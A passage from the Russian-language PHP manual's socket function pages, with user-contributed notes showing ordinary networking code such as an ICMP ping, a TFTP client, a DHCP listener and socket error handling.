
        if ($ms < 0)
        {
                $g_icmp_error = "Response too long";
                $ms = -1;
        }

        socket_close($sock);

        return $ms;
}

function icmpChecksum($data)
{
        $bit = unpack('n*', $data);
        $sum = array_sum($bit);

        if (strlen($data) % 2) {
                $temp = unpack('C*', $data[strlen($data) - 1]);
                $sum += $temp[1];
        }

        $sum = ($sum >> 16) + ($sum & 0xffff);
        $sum += ($sum >> 16);

        return pack('n*', ~$sum);
}

function getLastIcmpError()
{
        global $g_icmp_error;
        return $g_icmp_error;
}
/// end ping.inc.php ///
?>
jens at surefoot dot com 08-Aug-2006 05:46
Please be aware that RAW sockets (as used for the ping example) are restricted to root accounts on *nix systems. Since web servers hardly ever run as root, they won't work on webpages.

On Windows based servers it should work regardless.
06-Jan-2006 02:36
Here's a ping function that uses sockets instead of exec().  Note: I was unable to get socket_create() to work without running from CLI as root.  I've already calculated the package's checksum to simplify the code (the message is 'ping' but it doesn't actually matter).

<?php

function ping($host) {
    $package = "\x08\x00\x19\x2f\x00\x00\x00\x00\x70\x69\x6e\x67";

    /* create the socket, the last '1' denotes ICMP */
    $socket = socket_create(AF_INET, SOCK_RAW, 1);

    /* set socket receive timeout to 1 second */
    socket_set_option($socket, SOL_SOCKET, SO_RCVTIMEO, array("sec" => 1, "usec" => 0));

    /* connect to socket */
    socket_connect($socket, $host, null);

    /* record start time */
    list($start_usec, $start_sec) = explode(" ", microtime());
    $start_time = ((float) $start_usec + (float) $start_sec);

    socket_send($socket, $package, strlen($package), 0);

    if(@socket_read($socket, 255)) {
        list($end_usec, $end_sec) = explode(" ", microtime());
        $end_time = ((float) $end_usec + (float) $end_sec);

        $total_time = $end_time - $start_time;

        return $total_time;
    } else {
        return false;
    }

    socket_close($socket);
}

?>
kyle gibson 28-Oct-2005 05:48
Took me about 20 minutes to figure out the proper arguments to supply for a AF_UNIX socket. Anything else, and I would get a PHP warning about the 'type' not being supported. I hope this saves someone else time.

<?php
$socket = socket_create(AF_UNIX, SOCK_STREAM, 0);
// code
?>
david at eder dot us 25-Jan-2005 11:42
Sometimes when you are running CLI, you need to know your own ip address.

<?php

  $addr = my_ip();
  echo "my ip address is $addr\n";

  function my_ip($dest='64.0.0.0', $port=80)
  {
    $socket = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);
    socket_connect($socket, $dest, $port);
    socket_getsockname($socket, $addr, $port);
    socket_close($socket);
    return $addr;
  }
?>
david at eder dot us 08-Jun-2004 08:07
Seems there aren't any examples of UDP clients out there.  This is a tftp client.  I hope this makes someone's life easier.

<?php
  function tftp_fetch($host, $filename)
  {
    $socket = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);

    // create the request packet
    $packet = chr(0) . chr(1) . $filename . chr(0) . 'octet' . chr(0);
    // UDP is connectionless, so we just send on it.
    socket_sendto($socket, $packet, strlen($packet), 0x100, $host, 69);

    $buffer = '';
    $port = '';
    $ret = '';
    do
    {
      // $buffer and $port both come back with information for the ack
      // 516 = 4 bytes for the header + 512 bytes of data
      socket_recvfrom($socket, $buffer, 516, 0, $host, $port);

      // add the block number from the data packet to the ack packet
      $packet = chr(0) . chr(4) . substr($buffer, 2, 2);
      // send ack
      socket_sendto($socket, $packet, strlen($packet), 0, $host, $port);

      // append the data to the return variable
      // for large files this function should take a file handle as an arg
      $ret .= substr($buffer, 4);
    }
    while(strlen($buffer) == 516);  // the first non-full packet is the last.
    return $ret;
  }
?>
evan at coeus hyphen group dot com 14-Feb-2002 06:33
Okay I talked with Richard a little (via e-mail). We agree that getprotobyname() and using the constants should be the same in functionality and speed, the use of one or the other is merely coding style. Personally, we both think the constants are prettier :).

The eight different protocols are the ones implemented in PHP- not the total number in existance (RFC 1340 has 98).

All we disagree on is using 0- Richard says that "accordning to the official unix/bsd sockets 0 is more than fine." I think that since 0 is a reserved number according to RFC 1320, and when used usually refers to IP, not one of it's sub-protocols (TCP, UDP, etc.)


Экспортировать сокет в поток, инкапсулирующий сокет

  • « socket_create
  • socket_get_option »
  • PHP Manual
  • Функции сокета
  • Экспортировать сокет в поток, инкапсулирующий сокет

socket_export_stream

(PHP 7 >= 7.0.7, PHP 8)

socket_export_stream — Экспортировать сокет в поток, инкапсулирующий сокет

Описание

socket_export_stream(Socket $socket): resource|false

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

socket

Возвращаемые значения

Возвращает ресурс или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | socket теперь экземпляр класса Socket; ранее был ресурсом (resource).

User Contributed Notes

There are no user contributed notes for this page.


Получает опции потока для сокета

  • « socket_export_stream
  • socket_getopt »
  • PHP Manual
  • Функции сокета
  • Получает опции потока для сокета

socket_get_option

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

socket_get_option — Получает опции потока для сокета

Описание

socket_get_option(Socket $socket, int $level, int $option): array|int|false

Функция socket_get_option() извлекает значение для опции, указанной параметром option для заданного socket.

Список параметров

socket

Экземпляр Socket, созданный с помощью socket_create() или socket_accept().

level

Параметр level указывает уровень протокола, на котором находится опция. Например, для получения опций на уровне сокета, должен использовать параметр level, равный SOL_SOCKET. Другие уровни, такие как TCP, можно использовать, указав номер протокола этого уровня. Номера протоколов можно найти с помощью функции getprotobyname().

option
Доступные опции сокета
Опция | Описание | Тип
SO_DEBUG | Сообщает, записывается ли отладочная информация. | int
SO_BROADCAST | Сообщает, поддерживается ли передача широковещательных сообщений. | int
SO_REUSEADDR | Сообщает, могут ли локальные адреса использоваться повторно. | int
SO_REUSEPORT | Сообщает, могут ли локальные порты использоваться повторно. | int
SO_KEEPALIVE | Сообщает, поддерживаются ли соединения с периодической передачей сообщений. Если подключённый сокет не отвечает на эти сообщения, подключение прерывается и процессы записи в этот сокет уведомляются сигналом SIGPIPE. | int
SO_LINGER

Сообщает, будет ли socket останавливаться на socket_close(), если данные присутствуют. По умолчанию, когда сокет закрыт, он попытается отправить все неотправленные данные. В случае сокета, ориентированного на подключение, socket_close() будет ожидать, пока его одноранговый узел подтвердит данные.

Если l_onoff отличен от нуля, а l_linger равно нулю, все неотправленные данные будут отброшены и RST (сброс) отправлен одноранговому узлу в случае сокета, ориентированного на подключение.

С другой стороны, если l_onoff и l_linger отличны от нуля, socket_close() будет блокироваться до тех пор, пока все данные не будут отправлены или если время, указанное в l_linger, не истечёт. Если сокет не блокируется, socket_close() потерпит неудачу и вернёт ошибку.

array. Массив будет содержать два ключа: l_onoff и l_linger.
SO_OOBINLINE | Сообщает, выходит ли socket из встроенных данных. | int
SO_SNDBUF | Сообщает размер отправленного буфера. | int
SO_RCVBUF | Сообщает о размере полученного буфера. | int
SO_ERROR | Сообщает информацию о статусе ошибки и очищает её. | int (не может быть установлен socket_set_option())
SO_TYPE | Сообщает о типе socket (например, SOCK_STREAM). | int (не может быть установлен socket_set_option())
SO_DONTROUTE | Сообщает, что исходящие сообщения обходят стандартные средства маршрутизации. | int
SO_RCVLOWAT | Сообщает минимальное количество байтов для обработки операций ввода socket. | int
SO_RCVTIMEO | Сообщает значение времени ожидания для операций ввода. | array. Массив будет содержать два ключа: sec, который является частью секунд для значения времени ожидания и usec, который является микросекундной частью значения времени ожидания.
SO_SNDTIMEO | Сообщает значение времени ожидания, указывающее количество времени, которое блокирует функция вывода, поскольку управление потоком предотвращает отправку данных. | array. Массив будет содержать два ключа: sec, который является частью секунд для значения времени ожидания и usec, который является микросекундной частью значения времени ожидания.
SO_SNDLOWAT | Сообщает минимальное количество байтов для обработки операцией вывода socket. | int
TCP_NODELAY | Сообщает, отключён ли алгоритм Nagle TCP. | int
MCAST_JOIN_GROUP | Присоединяется к многоадресной группе. | массив (array) с ключами "group", указав строку (string) с многоадресным адресом IPv4 или IPv6 и "interface", указав либо номер интерфейса (тип int), либо строку (string) с именем интерфейса, например "eth0". 0 можно указать, чтобы сообщить, что интерфейс должен быть выбран с использованием правил маршрутизации. (может использоваться только в socket_set_option())
MCAST_LEAVE_GROUP | Оставляет многоадресную группу. | массив (array). Смотрите MCAST_JOIN_GROUP для получения дополнительной информации. (может использоваться только в socket_set_option())
MCAST_BLOCK_SOURCE | Блокирует пакеты, поступающие из определённого источника в определённую группу многоадресной передачи, которые должны быть предварительно соединены. | массив (array) с такими же ключами, как у MCAST_JOIN_GROUP, плюс один дополнительный ключ, source, который представляет строку (string), указывающую адрес IPv4 или IPv6 источника, который должен быть заблокирован. (может использоваться только в socket_set_option())
MCAST_UNBLOCK_SOURCE | Разблокирует (начинает приём снова) пакеты, поступающие с определённого исходного адреса в определённую группу многоадресной передачи, которая должна предварительно соединена. | массив (array) с таким же форматом, как у MCAST_BLOCK_SOURCE. (может использоваться только в socket_set_option())
MCAST_JOIN_SOURCE_GROUP | Получать пакеты, предназначенные для конкретной группы многоадресной передачи, исходный адрес которого совпадает определённому значению. | массив (array) с тем же самым форматом, что у MCAST_BLOCK_SOURCE. (может использоваться только в socket_set_option())
MCAST_LEAVE_SOURCE_GROUP | Остановить приём пакетов, предназначенных для конкретной группы многоадресной передачи, исходный адрес которого совпадает определённому значению. | массив (array) с тем же самым форматом, что у MCAST_BLOCK_SOURCE. (может использоваться только в socket_set_option())
IP_MULTICAST_IF | Исходящий интерфейс для многоадресных пакетов IPv4. | Любое целое число (int), указывающее номер интерфейса или строку (string) с именем интерфейса, например, eth0. Значение 0 может использоваться для указания, что таблица маршрутизации используется для выбора интерфейса. Функция socket_get_option() возвращает индекс интерфейса. Обратите внимание, что в отличие от C API, эта опция НЕ принимает IP-адрес. Это устраняет разницу в интерфейсе между IP_MULTICAST_IF и IPV6_MULTICAST_IF.
IPV6_MULTICAST_IF | Исходящий интерфейс для многоадресных пакетов IPv6. | То же, что и IP_MULTICAST_IF.
IP_MULTICAST_LOOP | Политика петли групповой передачи для пакетов IPv4 включает или отключает передачу исходящих многоадресных рассылок, которые должны быть предварительно присоединены. Эффект, однако, различается, в зависимости от применения в Unix или Windows: в первом случае на пути получения, а во втором - на пути отправки. | целое число (int) (либо 0, либо 1). Для socket_set_option() любое значение будет принято и преобразовано в тип boolean, согласно обычным правилам PHP.
IPV6_MULTICAST_LOOP | Аналогично IP_MULTICAST_LOOP, но для IPv6. | int. See IP_MULTICAST_LOOP.
IP_MULTICAST_TTL | Время ожидания исходящих пакетов IPv4 для многоадресной передачи. Это должно быть значение между 0 (не оставлять интерфейс) и 255. Значение по умолчанию - 1 (достигается только локальная сеть). | целое число (int) между 0 и 255.
IPV6_MULTICAST_HOPS | Аналогично IP_MULTICAST_TTL, но для пакетов IPv6. Значение -1 также принимается, что означает использование маршрута по умолчанию. | целое число (int) между 0 и 255.
SO_MARK | Устанавливает идентификатор сокета для фильтрации пакетов в Linux. | int
SO_ACCEPTFILTER | Добавляет фильтр приёма на прослушиваемый сокет (FreeBSD/NetBSD). Модуль ядра фильтра приёма должен быть предварительно загружен в FreeBSD (например, accf_http). | Строка (string) имя фильтра (длина не более 15).
SO_USER_COOKIE | Устанавливает идентификатор сокета для фильтрации пакетов в FreeBSD. | int
SO_RTABLE | Устанавливает идентификатор сокета для фильтрации пакетов в OpenBSD. | int
SO_DONTTRUNC | Сохраняет непрочитанные данные. | int
SO_WANTMORE | Подсказывает, когда будет доступно больше данных. | int
TCP_DEFER_ACCEPT | Не уведомляет слушающий сокет, пока данные не будут готовы. | int
SO_INCOMING_CPU | Получает/устанавливает сродство к процессору для сокета. | int
SO_MEMINFO | Получает meminfo сокета. | int
SO_BPF_EXTENSIONS | Получает поддерживаемые ядром модули BPF для присоединения к сокету. | int
SO_SETFIB | Устанавливает таблицу маршрутизации (FIB) сокета (только FreeBSD). | int
SOL_FILTER | Фильтры, приписываемые сокету (только для Solaris/Illumos). | int
TCP_KEEPCNT | Устанавливает максимальное количество зондов keepalive, которые TCP должен отправить перед разрывом соединения. | int
TCP_KEEPIDLE | Устанавливает время, в течение которого соединение должно простаивать. | int
TCP_KEEPINTVL | Устанавливает время между отдельными зондами keepalive. | int
TCP_KEEPALIVE | Устанавливает время, в течение которого соединение должно простаивать (только для macOS). | int
TCP_NOTSENT_LOWAT | Устанавливает предельное количество неотправленных данных в очереди на запись потоком сокета (только для Linux). | int

Возвращаемые значения

Возвращает значение заданной опции или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | socket теперь экземпляр класса Socket; ранее был ресурсом (resource).

Примеры

Пример #1 Пример использования socket_get_option()

<?php
$socket = socket_create_listen(1223);

$linger = array('l_linger' => 1, 'l_onoff' => 1);
socket_set_option($socket, SOL_SOCKET, SO_LINGER, $linger);

var_dump(socket_get_option($socket, SOL_SOCKET, SO_REUSEADDR));
?>

Смотрите также

  • socket_create_listen() - Открывает сокет на указанном порту для принятия соединений
  • socket_set_option() - Устанавливает опции для сокета

User Contributed Notes

skydiablo at gmx dot net 08-Mar-2022 11:49
to receive UDP DHCP packets on a dedicated interface, you have to use the undocumented option SO_BINDTODEVICE:

<?php
$socket = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);

socket_set_option($socket, SOL_SOCKET, SO_BINDTODEVICE, 'eth1');
socket_set_option($socket, SOL_SOCKET, SO_BROADCAST, 1);
socket_set_option($socket, SOL_SOCKET, SO_REUSEADDR, 1);
socket_set_option($socket, SOL_SOCKET, SO_REUSEPORT, 1);

socket_bind($socket, '255.255.255.255', 67);
while (1) {
    if ($src = @socket_recv($socket, $data, 9999, 0)) {
        echo $data . PHP_EOL;
    }
}
?>
prennings at gmail dot com 09-Mar-2014 08:08
I was playing around with this option to use multiply socket connections with same hostname and same port (IRC). However the socket function needed for this is SO_REUSEPORT.

Though the majority of linux distro's does not have that yet officially implented in there distro's.

However for debian there is an patch that can be installed to get it working:

https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=c617f398edd4db2b8567a28e899a88f8f574798d

it has some work but I got it working after a while (Noobie in debian) maybe some other people are facing the same problem as I was.
Chad Lavoie 13-Dec-2010 12:52
If using Unix Sockets, and you want to use SO_PEERCRED, you can use the number 17 for the optname (and SOL_SOCKET for the level).  The PID of the connecting process will be returned.
recycling dot sp dot am at gmail dot com 14-Sep-2010 05:31
Just 2 notes here:
- On UNIX, If SO_DEBUG is set, the php program needs an effective user id of 0.
-  activating SO_OOBINLINE on a socket is equivalent to passing MSG_OOB flag to each recieving functions used with that socket (eg: socket_recv, socket_recvfrom).


Псевдоним socket_get_option

  • « socket_get_option
  • socket_getpeername »
  • PHP Manual
  • Функции сокета
  • Псевдоним socket_get_option

socket_getopt

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

socket_getopt — Псевдоним socket_get_option()

Описание

Функция является псевдонимом: socket_get_option().

User Contributed Notes

There are no user contributed notes for this page.


Запрашивает удалённую сторону указанного сокета, в результате может быть возвращён хост/порт или путь в файловой системе Unix, в зависимости от типа сокета

  • « socket_getopt
  • socket_getsockname »
  • PHP Manual
  • Функции сокета
  • Запрашивает удалённую сторону указанного сокета, в результате может быть возвращён хост/порт или путь в файловой системе Unix, в зависимости от типа сокета

socket_getpeername

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

socket_getpeername — Запрашивает удалённую сторону указанного сокета, в результате может быть возвращён хост/порт или путь в файловой системе Unix, в зависимости от типа сокета

Описание

socket_getpeername(Socket $socket, string &$address, int &$port = null): bool

Запрашивает удалённую сторону указанного сокета, в результате может быть возвращён хост/порт или путь в файловой системе Unix, в зависимости от типа сокета.

Список параметров

socket

Экземпляр Socket, созданный при помощи функции socket_create() или socket_accept().

address

Если заданный сокет имеет тип AF_INET или AF_INET6, socket_getpeername() вернёт удалённый IP-адрес в соответствующем формате ( например, 127.0.0.1 или fe80::1) в параметре address и, если необязательный параметр port присутствует, также связанный порт.

Если заданный сокет имеет тип AF_UNIX, socket_getpeername() вернёт путь в файловой системе Unix (т.е. /var/run/daemon.sock) в параметр address.

port

Если указан, то будет содержать порт, связанный с адресом address.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки. socket_getpeername() также может вернуть false, если сокет иметь тип отличный от AF_INET, AF_INET6 или AF_UNIX, в этом случае код последней ошибки сокета НЕ будет обновлён.

Список изменений

Версия | Описание
8.0.0 | socket теперь экземпляр класса Socket; ранее был ресурсом (resource).

Примечания

Замечание:

socket_getpeername() не должна быть использована с сокетами AF_UNIX, созданными при помощи функции socket_accept(). Только сокеты, созданные при помощи socket_connect() или серверный сокет, к которому применён вызов функции socket_bind(), будут возвращать осмысленные значения.

Замечание:

Для того, чтобы socket_getpeername() вернула осмысленное значение, сокет, к которому она применяется, должен понимать концепцию "равных отношений" (peer).

Смотрите также

  • socket_getsockname() - Запрашивает локальную сторону указанного сокета, в результате можно получить хост/порт или путь в файловой системе Unix, в зависимости от типа сокета
  • socket_last_error() - Возвращает последнюю ошибку на сокете
  • socket_strerror() - Возвращает строку, описывающую ошибку сокета

User Contributed Notes

Anonymous 12-Mar-2016 01:06
The reason it won't work for UDP is that UDP is stateless; logically there are no peers other than at the time a packet is sent or received. Or more strictly, a UDP socket can interact with 0..N peers.
redph0enix at hotmail dot com 09-Sep-2003 08:57
socket_getpeername will not work for UDP sockets. Instead, use socket_recvfrom - it provides the IP address and port of the source server - eg:

$size=socket_recvfrom($socket,$input,65535,0,$ipaddress,$port);
echo "Received [$input] ($size bytes) from IP $ipaddress Port $port\n";


Запрашивает локальную сторону указанного сокета, в результате можно получить хост/порт или путь в файловой системе Unix, в зависимости от типа сокета

  • « socket_getpeername
  • socket_import_stream »
  • PHP Manual
  • Функции сокета
  • Запрашивает локальную сторону указанного сокета, в результате можно получить хост/порт или путь в файловой системе Unix, в зависимости от типа сокета

socket_getsockname

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

socket_getsockname — Запрашивает локальную сторону указанного сокета, в результате можно получить хост/порт или путь в файловой системе Unix, в зависимости от типа сокета

Описание

socket_getsockname(Socket $socket, string &$address, int &$port = null): bool

Замечание: Функция socket_getsockname() не должна использоваться с сокетами AF_UNIX, созданными при помощи функции socket_connect(). Только сокеты, созданные функцией socket_accept() и первичные серверные сокеты после вызова socket_bind(), позволяют получить осмысленный ответ при вызове этой функции.

Список параметров

socket

Экземпляр Socket, созданный функцией socket_create() или socket_accept().

address

Если заданный сокет имеет тип AF_INET или AF_INET6, socket_getpeername() вернёт локальный IP-адрес в соответствующем формате ( например, 127.0.0.1 или fe80::1) в параметре address и, если необязательный параметр port присутствует, также связанный порт.

Если заданный сокет имеет тип AF_UNIX, socket_getpeername() вернёт путь в файловой системе Unix (т.е. /var/run/daemon.sock) в параметр address.

port

Если указан, то будет содержать соответствующий порт.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки. socket_getsockname() может также возвращать false, если тип сокета не является одним из AF_INET, AF_INET6, или AF_UNIX, в этом случае код последней ошибки сокета не обновляется.

Список изменений

Версия | Описание
8.0.0 | socket теперь экземпляр класса Socket; ранее был ресурсом (resource).

Смотрите также

  • socket_getpeername() - Запрашивает удалённую сторону указанного сокета, в результате может быть возвращён хост/порт или путь в файловой системе Unix, в зависимости от типа сокета
  • socket_last_error() - Возвращает последнюю ошибку на сокете
  • socket_strerror() - Возвращает строку, описывающую ошибку сокета

User Contributed Notes

CXJ 17-Sep-2014 07:28
Curiously, getsockname() works for socket_create() and socket_create_pair() Unix-domain (AF_UNIX) sockets if one calls socket_bind() after creation to name the formerly anonymous socket(s).

Using a socket_bind() call also results in a file system "file" (socket, first character 's' in an "ls -l" listing) being created with the given name.  Such a "file" will need to be removed explicitly, as closing the socket will not remove it.


Импортировать поток

  • « socket_getsockname
  • socket_last_error »
  • PHP Manual
  • Функции сокета
  • Импортировать поток

socket_import_stream

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

socket_import_stream — Импортировать поток

Описание

socket_import_stream(resource $stream): Socket|false

Импортирует поток, который инкапсулирует сокет в ресурс модуля сокета.

Список параметров

stream

Ресурс поток для импорта.

Возвращаемые значения

Возвращает false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | В случае успешного выполнения функция возвращает экземпляр Socket; ранее возвращался ресурс (resource).

Примеры

Пример #1 Пример использования socket_import_stream()

<?php
$stream = stream_socket_server("udp://0.0.0.0:58380", $errno, $errstr, STREAM_SERVER_BIND);
$sock = socket_import_stream($stream);
?>

Смотрите также

  • stream_socket_server() - Создаёт интернет-сокет или доменный сокет Unix

User Contributed Notes

lcharron at meditech dot com 18-Nov-2015 08:34
This function does not support SSL connections.

I have submitted a bug/enhacement request because of this: https://bugs.php.net/bug.php?id=70939


Возвращает последнюю ошибку на сокете

  • « socket_import_stream
  • socket_listen »
  • PHP Manual
  • Функции сокета
  • Возвращает последнюю ошибку на сокете

socket_last_error

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

socket_last_error — Возвращает последнюю ошибку на сокете

Описание

socket_last_error(?Socket $socket = null): int

Если экземпляр Socket передан этой функции, то возвращается последняя ошибка, которая произошла на этом конкретном сокете. Если socket не указан, возвращается код ошибки последней неудавшейся функции сокетов. Последнее особенно полезно для таких функций, как socket_create(), которая не возвращает сокет в случае неудачи и socket_select(), которая может закончиться неудачно по причинам, не связанным непосредственно с каким-либо конкретным сокетом. Код ошибки подходит для передачи функции socket_strerror(), которая возвращает строку, описывающую указанный код ошибки.

Если ошибок нет или они были очищены функцией socket_clear_error(), функция вернёт 0.

Список параметров

socket

Экземпляр Socket, созданный при помощи функции socket_create().

Возвращаемые значения

Эта функция возвращает код ошибки сокета.

Список изменений

Версия | Описание
8.0.0 | socket теперь экземпляр класса Socket; ранее был ресурсом (resource).
8.0.0 | socket теперь допускает значение null.

Примеры

Пример #1 Пример использования socket_last_error()

<?php
$socket = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);

if ($socket === false) {
$errorcode = socket_last_error();
$errormsg = socket_strerror($errorcode);

die("Не могу создать сокет: [$errorcode] $errormsg");
}
?>

Примечания

Замечание:

socket_last_error() не очищает код ошибки, используйте socket_clear_error() для этой цели.

User Contributed Notes

divinity76 at gmail dot com 19-Jan-2019 08:21
note that socket_last_error() cache the last error from the last socket syscall, it does not actually query the OS for the last error on the socket, so if an async socket have an error after the last async operation started successfully, socket_last_error() doesn't know about it, but  socket_get_option($sock, SOL_SOCKET, SO_ERROR) actually query the OS, or so it seems... observed on PHP 7.1.16 on Cygwin on win7 x64 SP1 with non-blocking sockets, socket_last_error() never caught on to the fact that the current error had changed from EINPROGRESS (non-blocking connect) to 0 (connection successful)
ca at php dot spamtrak dot org 15-Dec-2009 02:33
This is a bit long, but personally I prefer to use the standard C defines in my code.

<?php

define('ENOTSOCK',      88);    /* Socket operation on non-socket */
define('EDESTADDRREQ',  89);    /* Destination address required */
define('EMSGSIZE',      90);    /* Message too long */
define('EPROTOTYPE',    91);    /* Protocol wrong type for socket */
define('ENOPROTOOPT',   92);    /* Protocol not available */
define('EPROTONOSUPPORT', 93);  /* Protocol not supported */
define('ESOCKTNOSUPPORT', 94);  /* Socket type not supported */
define('EOPNOTSUPP',    95);    /* Operation not supported on transport endpoint */
define('EPFNOSUPPORT',  96);    /* Protocol family not supported */
define('EAFNOSUPPORT',  97);    /* Address family not supported by protocol */
define('EADDRINUSE',    98);    /* Address already in use */
define('EADDRNOTAVAIL', 99);    /* Cannot assign requested address */
define('ENETDOWN',      100);   /* Network is down */
define('ENETUNREACH',   101);   /* Network is unreachable */
define('ENETRESET',     102);   /* Network dropped connection because of reset */
define('ECONNABORTED',  103);   /* Software caused connection abort */
define('ECONNRESET',    104);   /* Connection reset by peer */
define('ENOBUFS',       105);   /* No buffer space available */
define('EISCONN',       106);   /* Transport endpoint is already connected */
define('ENOTCONN',      107);   /* Transport endpoint is not connected */
define('ESHUTDOWN',     108);   /* Cannot send after transport endpoint shutdown */
define('ETOOMANYREFS',  109);   /* Too many references: cannot splice */
define('ETIMEDOUT',     110);   /* Connection timed out */
define('ECONNREFUSED',  111);   /* Connection refused */
define('EHOSTDOWN',     112);   /* Host is down */
define('EHOSTUNREACH',  113);   /* No route to host */
define('EALREADY',      114);   /* Operation already in progress */
define('EINPROGRESS',   115);   /* Operation now in progress */
define('EREMOTEIO',     121);   /* Remote I/O error */
define('ECANCELED',     125);   /* Operation Canceled */
?>


Прослушивает входящие соединения на сокете

  • « socket_last_error
  • socket_read »
  • PHP Manual
  • Функции сокета
  • Прослушивает входящие соединения на сокете

socket_listen

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

socket_listen — Прослушивает входящие соединения на сокете

Описание

socket_listen(Socket $socket, int $backlog = 0): bool

После того, как сокет socket был создан при помощи функции socket_create() и привязан к имени при помощи функции socket_bind(), ему можно указать слушать входящие соединения на сокете socket.

Функция socket_listen() применима только к сокетам типа SOCK_STREAM или SOCK_SEQPACKET.

Список параметров

socket

Экземпляр Socket, созданный при помощи функций socket_create() или socket_addrinfo_bind().

backlog

Максимум backlog входящих соединений будет помещено в очередь на обработку. Если запрос на соединение придёт, когда очередь заполнена, клиент может получить ошибку ECONNREFUSED, или, если базовый протокол позволяет повторную передачу, запрос будет повторён.

Замечание:

Максимальное значение параметра backlog очень сильно зависит используемой платформы. В Linux очень большое значение будет молча обрезано до SOMAXCONN. В win32, если передано SOMAXCONN, базовый провайдер сервиса, ответственного за сокет, установит этот параметр максимальным разумным значением. Нет стандартного способа узнать актуальное значение "backlog" для этой платформы.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки. Код ошибки может быть получен при помощи функции socket_last_error(). Этот код может быть передан функции socket_strerror() для получения текстового описания ошибки.

Список изменений

Версия | Описание
8.0.0 | socket теперь экземпляр класса Socket; ранее был ресурсом (resource).

Смотрите также

  • socket_accept() - Принимает соединение на сокете
  • socket_bind() - Привязывает имя к сокету
  • socket_connect() - Начинает соединение с сокетом
  • socket_create() - Создаёт сокет (конечную точку для обмена информацией)
  • socket_strerror() - Возвращает строку, описывающую ошибку сокета
  • socket_addrinfo_bind() - Создать и привязать к сокету из указанного addrinfo

User Contributed Notes

renmengyang567 at gmail dot com 07-Apr-2019 05:52
<?php
// create for tcp
$sock = socket_create(AF_INET, SOCK_STREAM, getprotobyname('tcp'));
socket_bind($sock, '127.0.0.1',5000);
socket_listen($sock,1);
sleep(20);
?>

<fruit>
netstat  -ntpl
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.1:5000          0.0.0.0:*               LISTEN      1839/php


Читает строку максимальную длину байт из сокета

  • « socket_listen
  • socket_recv »
  • PHP Manual
  • Функции сокета
  • Читает строку максимальную длину байт из сокета

socket_read

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

socket_read — Читает строку максимальную длину байт из сокета

Описание

socket_read(Socket $socket, int $length, int $mode = PHP_BINARY_READ): string|false

Функция socket_read() читает данные из экземпляра Socket socket, созданного при помощи функций socket_create() или socket_accept().

Список параметров

socket

Экземпляр Socket, созданный при помощи функций socket_create() или socket_accept().

length

Максимальное количество байт для чтения определено параметром length. Как вариант вы можете использовать \r, \n, или \0 для окончания чтения (в зависимости от параметра mode, смотрите ниже).

mode

Необязательный параметр mode - это именованная константа:

  • PHP_BINARY_READ (По умолчанию) - используется системная функция recv(). Безопасно для чтения бинарных данных.
  • PHP_NORMAL_READ - чтение останавливается на \n или \r.

Возвращаемые значения

socket_read() возвращает данные в виде строки в случае успешного выполнения, или false в случае возникновения ошибки (включая случай, когда удалённый хост закрыл соединение). Код ошибки может быть получен при помощи функции socket_last_error(). Этот код может быть передан функции socket_strerror() для получения текстового описания ошибки.

Замечание:

socket_read() возвращает строку нулевой длины (""), когда больше нет данных для чтения.

Список изменений

Версия | Описание
8.0.0 | socket теперь экземпляр класса Socket; ранее был ресурсом (resource).

Смотрите также

  • socket_accept() - Принимает соединение на сокете
  • socket_bind() - Привязывает имя к сокету
  • socket_connect() - Начинает соединение с сокетом
  • socket_listen() - Прослушивает входящие соединения на сокете
  • socket_last_error() - Возвращает последнюю ошибку на сокете
  • socket_strerror() - Возвращает строку, описывающую ошибку сокета
  • socket_write() - Запись в сокет

User Contributed Notes

d dot bergloev at gmail dot com 07-Dec-2019 10:04
Binary read is the correct way to read data in most cases, whereas "normal read", is a strange and lazy PHP built mode, that works mostly with terminal data.

If you want to keep track of closed connections with binary read, the correct way is NOT to switch from binary to "normal", like some suggests. The correct way is to create some test scenarios and see how PHP deals with specific circumstances.

Here is what a quick test shows, when working with non-blocking sockets.

<?php
$input = socket_read($socket, 1024);

// In most cases, error produces an empty string and not FALSE
if ($input === FALSE || strcmp($input, '') == 0) {
    $code = socket_last_error($socket);

    // You MUST clear the error, or it will not change on next read
    socket_clear_error($socket);

    if ($code == SOCKET_EAGAIN) {
        // Nothing to read from non-blocking socket, try again later...

    } else {
        // Connection most likely closed, especially if $code is '0'
    }

} else {
    // Deal with the data
}
?>

There are more errors to consider, but this will get you started.
Arvy 13-Jul-2018 03:31
On non-blocking sockets, the function will return "" if no data is received, and even if the client disconnects.

If you want to check if the client disconnected, use ===.

$ret=socket_read($socket);

$ret=="" : connected but no data received or client disconnected
$ret==="" : client disconnected for sure
sahel dot nuri at outlook dot com 24-Jul-2017 03:38
This little, important fact would save your time.
If you want to recognize that your client is disconnected without any message, you have to select the right flag.
Because, if you use the flag PHP_BINARY_READ:
<?php
function read($sock){
    while($buf = @socket_read($sock, 1024 [, PHP_BINARY_READ ]))
        if($buf = trim($buf))
            break;

    return $buf;
}
?>
and the users disconnects, the function will returns an empty string.
But if you use the flag PHP_NORMAL_READ:
<?php
function read($sock){
    while($buf = @socket_read($sock, 1024, PHP_NORMAL_READ))
        if($buf = trim($buf))
            break;

    return $buf;
}
?>
the function will returns a false.

